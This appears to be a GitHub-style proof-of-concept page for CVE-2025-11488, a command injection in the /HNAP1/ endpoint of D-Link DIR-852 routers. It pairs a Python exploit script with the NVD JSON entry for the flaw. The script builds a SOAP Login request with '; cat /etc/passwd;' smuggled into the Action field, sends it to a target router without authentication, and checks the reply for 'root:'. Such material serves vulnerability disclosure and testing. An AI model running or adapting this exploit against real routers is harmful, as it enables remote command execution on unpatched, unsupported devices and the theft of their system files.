CVE-2025-11488

#!/usr/bin/env python3 # CVE-2025-11488 - D-Link DIR-852 HNAP1 Command Injection PoC # This PoC demonstrates the command injection vulnerability in /HNAP1/ endpoint import requests import sys TARGET_URL = "http://{target}/HNAP1/" TARGET_IP = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" # Malicious payload - inject command via SOAP request parameter # The injected command will be executed on the router's OS INJECTION_CMD = "; cat /etc/passwd;" def build_soap_payload(cmd): """Build SOAP/XML request with injected command""" soap_xml = f"""<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <soap:Body> <Login xmlns="http://purenetworks.com/HNAP1/"> <Action>request{cmd}</Action> <Username>Admin</Username> <LoginPassword></LoginPassword> </Login> </soap:Body> </soap:Envelope>""" return soap_xml def exploit(target_ip): url = TARGET_URL.format(target=target_ip) headers = { "Content-Type": "text/xml; charset=utf-8", "SOAPAction": '"http://purenetworks.com/HNAP1/Login"' } payload = build_soap_payload(INJECTION_CMD) print(f"[*] Targeting: {url}") print(f"[*] Sending malicious payload...") try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") if "root:" in response.text or response.status_code == 200: print("[+] Exploit may have succeeded!") else: print("[-] Exploit may have failed.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit(TARGET_IP)

{"cve": {"id": "CVE-2025-11488", "sourceIdentifier": "[email protected]", "published": "2025-10-08T18:15:34.007", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A weakness has been identified in D-Link DIR-852 up to 20251002. This affects an unknown part of the file /HNAP1/. Executing manipulation can lead to command injection. The attack may be launched remotely. The exploit has been made available to the public and could be exploited. This vulnerability only affects products that are no longer supported by the maintainer."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://vuldb.com/?ctiid.327605", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.327605", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.667505", "source": "[email protected]"}, {"url": "https://www.dlink.com/", "source": "[email protected]"}, {"url": "https://www.yuque.com/jh0ng/vmpda6/cqi681wr7vci6kx9", "source": "[email protected]"}]}}